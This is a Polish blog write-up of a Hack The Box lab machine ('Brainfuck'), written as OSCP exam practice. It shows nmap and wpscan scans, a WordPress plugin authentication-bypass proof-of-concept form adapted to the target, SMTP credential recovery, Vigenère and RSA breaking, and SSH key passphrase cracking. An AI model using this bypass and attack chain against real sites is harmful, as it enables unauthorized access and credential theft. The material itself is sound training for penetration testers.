Podobno człowiek najlepiej uczy się poprzez praktykę. Kierując się tą zasadą, postanowiłem stworzyć serię, dokumentującą przygotowania do egzaminu OSCP. Czym jest OSCP? Offensive Security Certified Professional to certyfikat etycznego hackingu stworzony przez firmę Offensive Security. Obejmuje on metodologie testów penetracyjnych z wykorzystaniem narzędzi dostępnych w systemie Kali Linux (jest on również rozwijany przez tą samą organizację).

Środowiska

Ze względu na duże restrykcje publikowania materiałów dotyczących certyfikatu, nie mógłbym opisywać oficjalnych środowisk dostarczonych przez Offensive Security. Na ratunek przychodzą strony typu Hack the Box i TryHackMe. Oferują one wiele maszyn podobnych do tych, obecnych na egzaminie. Skupię się jednak tylko na tym pierwszym portalu. Lista boxów na dzień 02.03.2021 przedstawiona jest na grafice poniżej. Część z nich posiada już status retired, co znaczy, że punkty za ich rozwiązanie nie są wliczane do wyniku w profilu użytkownika i mogą być dostępne tylko dla posiadaczy konta VIP. Patrząc jednak na renomę OSCP, warto zakupić chociaż miesięczny pakiet w HTB, żeby poćwiczyć przed egzaminem.

Maszyny HTB w stylu OSCP

Box - w terminologii HTB jest to podatna maszyna udostępniona użytkownikowi

Dobrą praktyką jest tworzenie tzw. write-upów w trakcie pokonywania maszyn.

Write-up - w tym kontekście jest to instrukcja włamania do danej maszyny

Szczegóły boxa

Nazwa Status Trudność IP
brainfuck retired 6.6/10 10.10.10.17

Write-up

Analizę rozpoczynam od skanu narzędziem nmap. Należy sprawdzić działające usługi i wszystkie otwarte porty. Można to wykonać następującymi poleceniami:

$ nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.17  
$ sudo nmap -p- --min-parallelism 100 -sS -sU --min-rate 5000 \
    -oN nmap/nmap-all 10.10.10.17

Wykorzystane zostały następujące parametry:

  • -sC - wykonaj najbardziej popularne skrypty NSE
  • -sV - wykryj wersję usług
  • -oA - zwróć rezultaty we wszystkich dostępnych formatach (xml, ScRipT KIdd|3, format grepowalny, normalny)
  • -p- - skanuj wszystkie porty
  • --min-parallelism - zmień ilość równoległych próbek
  • -sS - ustaw typ skanu na TCP SYN
  • -sU - ustaw typ skanu na UDP
  • --min-rate - wysyłaj więcej pakietów na sekundę niż podana wartość
  • -oN - zwróć rezultat w formacie normalnym

Wyniki skanów zostaną zapisane w folderze nmap. Można w nich zauważyć, że otwartych jest tylko 5 portów:

Port Usługa Wersja
22 SSH OpenSSH 7.2p2
25 smtp Postfix smtpd
110 pop3 Devecot pop3d
143 imap Devecot imapd
443 ssl/http nginx 1.10.0

Wnioski:

  • na boxie działa serwer pocztowy (patrz wiersz 2,3,4 tabeli zawierającej otwarte porty)
  • dostępna wersja SSH na pierwszy rzut oka nie posiada poważnych błędów umożliwiających obejście zabezpieczeń
  • certyfikat SSL wydany został dla domen: brainfuck.htb, www.brainfuck.htb i sup3rs3cr3t.brainfuck.htb
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
    .
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
    .

Należy edytować plik odpowiedzialny za rozpoznawanie nazw domenowych w Linuxie /etc/hosts, uzupełniając go o wartości z certyfikatu. Dzięki temu możemy wejść pod dany adres z poziomu przeglądarki.

Plik /etc/hosts

Wordpress

Po otwarciu pierwszej z domen (https://brainfuck.htb) i zaakceptowaniu zagrożenia, ukazuje się strona startowa informująca, że jest to witryna bazująca na Wordpressie.

Strona główna to wordpress

Wordpress wraz z dodatkami ma to do siebie, że jest dziurawy bardziej niż tradycyjny, szwajcarski ser. Do zweryfikowania tej instancji wykorzystane zostaje narzędzie wpscan

$ wpscan --url https://brainfuck.htb/ --api-token REDACTED --disable-tls-checks 
.
.
.
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
|     Fixed in: 8.0.0
|     References:                                              
|      - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f                                                
|      - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
|      - https://packetstormsecurity.com/files/140413/
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
|     Fixed in: 8.0.8
|     References:
|      - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
|      - https://plugins.trac.wordpress.org/changeset/1763596
|
| Version: 7.1.3 (100% confidence)
.
.
.

W oczy rzucają się dwie podatności - Privilege Escalation (eskalacja uprawnień) i RCE (zdalne wykonanie kodu). Wykorzystana zostanie pierwsza z nich (odkryta przez polskiego badacza bezpieczeństwa Kacpra Szurka). Znaleźć ją można z wykorzystaniem narzędzia searchsploit, będącego konsolowym programem do przeglądania bazy exploit.db (rozwijanej przez Offensive Security).

$ searchsploit WP Support Plus Responsive Ticket 

-------------------- ---------------------------------
 Exploit Title      |  Path
-------------------- ---------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation                 | php/webapps/41006.txt
-------------------- ---------------------------------
$ searchsploit -x 41006

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
 
1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Then you can go to admin panel.

Należy edytować formularz z dostarczonego PoC i dostosować go do swoich potrzeb. W tym przypadku trzeba zmienić adres URL panelu administratora Wordpress oraz adres email. Do tej pory znany jest tylko URL. Skąd wziąć email? Tak się składa, że to również znajduje się na stronie http://brainfuck.htb. Znaleźć możemy tam wpis użytkownika admin, proszącego o kontakt pod adresem orestis@brainfuck.htb.

Strona główna i ważne na niej dane

PoC - (ang. Proof of Concept) jest to fragment kodu mający za zadanie zademonstrować działanie pewnej funkcjonalności lub programu

Kod po edycji prezentuje się następująco:

<form method="post" action="https://brainfuck.htb//wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="orestis@brainfuck.htb">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Zapisujemy go jako index.html i wykonujemy w konsoli proste polecenie uruchamiające serwer HTTP w aktualnym folderze:

$ python3 -m http.server 8001

Wchodzimy w przeglądarce pod adres http://localhost:8001 i klikamy dostępny przycisk Login.

Exploit na plugin Wordpressa

Po chwili odświeżamy główną stronę http://brainfuck.htb gdzie zostajemy automatycznie zalogowani jako użytkownik admin.

Poprawnie działający exploit

Przechodzimy do panelu Wordpressa poprzez przycisk Edit my profile. W menu pluginów można zauważyć, że zainstalowany jest dodatek Easy WP SMTP. Wchodzimy do jego ustawień, gdzie powinna znajdować się konfiguracja serwera pocztowego. Hasło SMTP jest jednak zamaskowane…co można łatwo obejść podglądając kod strony.

Plugin pocztowy
Szczegóły dodatku
Odkryte hasło

Klient IMAP

Wykorzystując dowolnego klienta pocztowego, łączymy się z serwerem z wykorzystaniem znalezionych danych. W moim przypadku wykorzystałem odpowiednio skonfigurowanego Thunderbirda (popularny klient poczty email na systemy Linux).

Konfiguracja IMAP
Konfiguracja SMTP

Natychmiast po zapisaniu ustawień pojawia się wiadomość w skrzynce. Zawiera ona dane logowania do sekretu.

Email z hasłem

Tu należy cofnąć się do wyników skanu nmapem, gdzie odkryta została subdomena sup3rs3cr3t.brainfuck.htb. Wchodzimy na nią i od razu logujemy się pozyskanym loginem i hasłem. Uzyskujemy w ten sposób dostęp do nowych wątków na forum - przed zalogowaniem widoczny jest tylko Development

Logowanie do forum
Ukryte wątki

Zaszyfrowany wątek

W SSH Access znaleźć można rozmowę między administratorem, a użytkownikiem orestis, który informuje w agresywny sposób o utracie klucza ssh i żąda wydania nowego. Orestis otwiera nowy, zaszyfrowany wątek, w którym przekazane zostaną kolejne wiadomości. Tu należy zwrócić uwagę na podpis pod każdym wpisem naszego użytkownika - Orestis - Hacking for fun and profit. Ta informacja przyda się później.

Zaszyfrowany wątek o nazwie Key zawiera coś co na pierwszy rzut oka przypomina zbiór losowych liter. Jest to tzw. Szyfr Vigenère’a. W dużym uproszczeniu, polega on na przesunięciu liter tekstu jawnego, względem klucza o takiej samej długości (jeśli klucz jest krótszy, to wykorzystana zostaje jego wielokrotność). Tu przyda się podpis użytkownika zapisany wcześniej. Można go znaleźć w analizowanym wątku, ale nie w jawnej postaci - np. Wejmvse - Fbtkqal zqb rso rnl cwihsf. W celu odnalezienia klucza napisałem prosty kod w języku Python. Dla ułatwienia usunąłem znaki niebędące literami.

plain = "OrestisHackingforfunandprofit"
encode = "WejmvseFbtkqalzqbrsornlcwihsf"
key = str()
for (l1, l2) in zip(plain, encode):
        n = ((ord(l2) - ord(l1)) % 26) + 97
        key += chr(n)
print(key)

Po jego wykonaniu otrzymujemy ciąg infuckmybrainfuckmybrainfuckm. Biorąc pod uwagę, że zastosowana została prawdopodobnie wielokrotność klucza, to możemy bezpiecznie założyć, że jego oryginalna postać to fuckmybrain. W tym momencie możemy wykorzystać dowolne narzędzie online do deszyfrowania (np. CyberChef) i odkryć tekst jawny.

Szyfr Vigenere'a

Łamanie hasła

Jeden z wpisów na forum zawiera adres URL do pliku id_rsa będącego nowym kluczem prywatnym użytkownika orestis. Jednak aby móc zalogować się z jego wykorzystaniem poprzez SSH, należy złamać hasło klucza (ang. passphrase). Można użyć w tym celu programu John the Ripper (np. w dedykowanym środowisku przygotowanym do łamania haseł)

Łamanie hasła

Z wykorzystaniem słownika rockyou złamano hasło - 3poulakia!

Mając passphrase do klucza SSH, można zalogować się wykorzystując otwarty port 22.

$ chmod 600 id_rsa
$ ssh orestis@10.10.10.17 -i id_rsa
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

You have mail.
Last login: Wed May  3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$ 

Eskalacja uprawnień

Po zalogowaniu jako zwykły użytkownik, należy odczytać zawartość pliku /root/root.txt. Wiąże się to najcześciej z koniecznością uzyskania uprawnień roota, lecz ta maszyna jest inna. W folderze domowym użytkownika znajduje się kilka plików. Jednym z nich jest encrypt.sage, który jest tak naprawdę kodem w języku Python, wykonującym szyfrowanie RSA na pliku /root/root.txt.

orestis@brainfuck:~$ ls -l
total 20
-rw------- 1 orestis orestis  619 Apr 29  2017 debug.txt
-rw-rw-r-- 1 orestis orestis  580 Apr 29  2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Apr 29  2017 mail
-rw------- 1 orestis orestis  329 Apr 29  2017 output.txt
-r-------- 1 orestis orestis   33 Apr 29  2017 user.txt
orestis@brainfuck:~$ cat encrypt.sage 
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

Działanie tego programu opiera się na kilku krokach:

  • odczytaj plik /root/root.txt i zakoduj jego zawartość w parametrze m
  • zaszyfruj zawartość zmiennej m i wpisz ją do pliku output.txt
  • zapisz zmienne p, q i e do pliku debug.txt

Znając jednak te 3 zmienne i wartość tekstu zaszyfrowanego, możemy odtworzyć mechanizm RSA. Wykorzystany został kod stworzony przez jednego z użytkowników portalu stackoverflow, z drobną zmianą - dodałem wypisywanie poprawnie flagi na ekran:

out = str(hex(plain_text)[2:-1])
print out.decode("hex")

Tym sposobem otrzymujemy również zawartość pliku /root/root.txt i box brainfuck zostaje ukończony.